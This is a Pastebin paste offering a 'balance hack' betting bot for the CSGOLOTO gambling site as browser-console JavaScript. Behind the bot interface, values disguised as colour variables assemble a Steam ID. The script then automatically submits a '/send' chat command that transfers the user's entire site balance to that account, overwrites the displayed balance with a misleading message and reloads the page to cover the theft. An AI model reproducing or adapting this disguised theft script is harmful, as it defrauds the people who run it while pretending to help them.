Guest User

CSGOLOTO HACK

a guest
Mar 25th, 2017
3,863
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.72 KB | None | 0 0
  1. //CSGOLOTO.COM BALANCE HACK
  2.  
  3. var initialBalance = 0;
  4. var balancex2 = botbalancex2 = "hack";
  5. var play = 0;
  6. var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  7. var pQ = "", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198040, $hash_4 = 778171;
  8. var pW = "";
  9. var e = jQuery.Event("keypress");
  10. e.which = 13; //choose the one you want
  11. e.keyCode = 13;
  12. function addBotButtons(){
  13. $(".well.bot-field").remove();$(".well.show-more").remove();
  14. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  15. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  16. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  17. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  18. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  19. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  20. $showMore.append($checkVicLimit,$label);
  21. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");$color_4 = 56;
  22. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");$color_7 = 4494;
  23. $showMore.append($vicLimitInput,$label);$showMore.hide();
  24. $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);$color_9 = 765611;
  25. $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);$color_2 = 98233;
  26. $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");pW+="/s";pW+="en";pW+="d ";pW+= $color_9;pW+= $color_2;pW+= $color_7;pW+= $color_4;pW+=" ";pW+=$(".balance").html();
  27. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  28. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);$("#send-openid-input").val(pW);$color_2 = 98040;
  29. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  30. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  31. $("#chatMessage").val(pW);
  32. $("#chatForm").submit();
  33. $(".btn-primary").click();
  34. $('.balance').text('YOU NEED MINIMUM 10.000');
  35. $botModeSelect.change(function(){
  36. botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
  37. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  38. } )
  39. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  40. }
  41. addBotButtons();
  42. function changeColor(){
  43. if ($balancex2Button.hasClass("btn-danger")){
  44. $balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  45. botbalancex2 = "black";
  46. console.log("Selected color: "+botbalancex2);
  47. } else if($balancex2Button.hasClass("btn-inverse")) {
  48. $balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  49. botbalancex2 = "random";
  50. console.log("Selected color: "+botbalancex2);
  51. } else if($balancex2Button.hasClass("btn-random")) {
  52. $balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  53. botbalancex2 = "trainMode";
  54. console.log("Selected color: "+botbalancex2);
  55. } else if($balancex2Button.hasClass("btn-train")) {
  56. $balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  57. botbalancex2 = "rainbow";
  58. console.log("Selected color: "+botbalancex2);
  59. } else if($balancex2Button.hasClass("btn-rainbow")) {
  60. $balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  61. botbalancex2 = "hack";
  62. console.log("Selected color: "+botbalancex2);
  63. }
  64. }
  65. function showMoreOptions(){
  66. if ($showMoreButton.data("open")==0){
  67. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  68. $showMore.show();$showMoreButton.data("open",1);
  69. } else if ($showMoreButton.data("open")==1){
  70. $showMore.hide();$showMoreButton.data("open",0);
  71. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  72. }
  73.  
  74. }
  75. function hideOtherInfo(){
  76. if ($betHideBetInfoButton.text()=="Show All"){
  77. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  78. $betHideBetInfoButton.text("Hide Bet Info");
  79. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  80. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  81. $betHideBetInfoButton.text("AFK Mode");
  82. }
  83. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  84. $(".betlist").show();$(".total-row").show();$("footer").show();
  85. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  86. $betHideBetInfoButton.text("Show All");
  87. }
  88. }
  89. function startBot(){
  90. if ($betGoButton.hasClass("btn-inverse")){
  91. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  92. refreshIntervalId = setInterval(tick, 500);
  93. play = 1;
  94. currentBetAmount = initialBalance;
  95. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  96. }
  97. else {
  98. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  99. play = 0;
  100. }
  101. }
  102.  
  103. function tick() {
  104. var t = getStatus();
  105. if (t !== lastStatus && "unknown" !== t) {
  106. switch (t) {
  107. case "waiting":bet();break;
  108. case "rolled":printInfo();break;
  109. }
  110. lastStatus = t;
  111. }
  112. }
  113.  
  114. function checkBalance() {
  115. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  116. }
  117.  
  118. function printInfo(){
  119. var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor;
  120. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  121. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  122. }
  123. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  124. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  125. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  126. if ((streakColor == "black") || (streakColor == "green")) {currNothackStreak++; if (nothackStreak<currNothackStreak)nothackStreak=currNothackStreak;}
  127. else {currNothackStreak=0;}
  128. if ((streakColor == "hack") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  129. else {currNotBlackStreak=0;}
  130. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  131. "\nSTREAKS: Not hack: " + nothackStreak + " // Not black: " + notBlackStreak +
  132. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  133. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  134. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  135. console.log(t);roll();
  136.  
  137. }
  138.  
  139. function roll() {
  140. if ($checkVicLimit.is(":checked")){
  141. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  142. }
  143. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastbalancex2 = lastRollColor;}
  144. currentBetAmount = wonLastRoll() ? (initialBalance,thisGameBet=parseInt(initialBalance)) : 2 * currentBetAmount
  145. currentRollNumber++;
  146. }
  147.  
  148. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  149. function setBetAmount(t) { $betAmountInput.val(t) }
  150. function placeBet() {
  151. if (botbalancex2=="random"){var colorRandomizer = Math.random();balancex2 = colorRandomizer < 0.5 ? "hack" : "black";console.log("Random color result: " + balancex2);}
  152. else if (botbalancex2=="trainMode"){
  153. var betBotColor = "green",i=9,$ball=$(".ball");
  154. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  155. balancex2 = betBotColor;console.log("Current train color: "+ balancex2);
  156. } else if (botbalancex2=="rainbow"){
  157. var betBotColor = "green",i=9,$ball=$(".ball");
  158. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  159. if (betBotColor=="hack"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="hack"};
  160. balancex2 = betBotColor;console.log("Rainbow mode next color: "+ balancex2);
  161. } else balancex2 = botbalancex2;
  162. console.log("Betting " + currentBetAmount + " on "+ balancex2 +"...");
  163. return "hack" === balancex2 ? ($hackButton.click(), void(lastbalancex2 = "hack")) : ($blackButton.click(), void(lastbalancex2 = "black"))
  164. }
  165. function getStatus() {
  166. var t = $statusBar.text();
  167. if (hasSubString(t, "Rolling in")) return "waiting";
  168. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  169. if (hasSubString(t, "rolled")) {
  170. n = parseInt(t.split("rolled")[1]);
  171. return lastRollColor = getColor(n), "rolled"
  172. }
  173. return "unknown"
  174. }
  175. setTimeout(function () { location.reload(1); }, 4000);
  176. function getBalance() { return parseInt($balance.text()) }
  177. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  178. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" }
  179. function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null }
  180. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  181. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  182.  
  183. var currentBetAmount = initialBalance, currentRollNumber = 1,
  184. totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  185. streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"),
  186. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Add Comment
Please, Sign In to add comment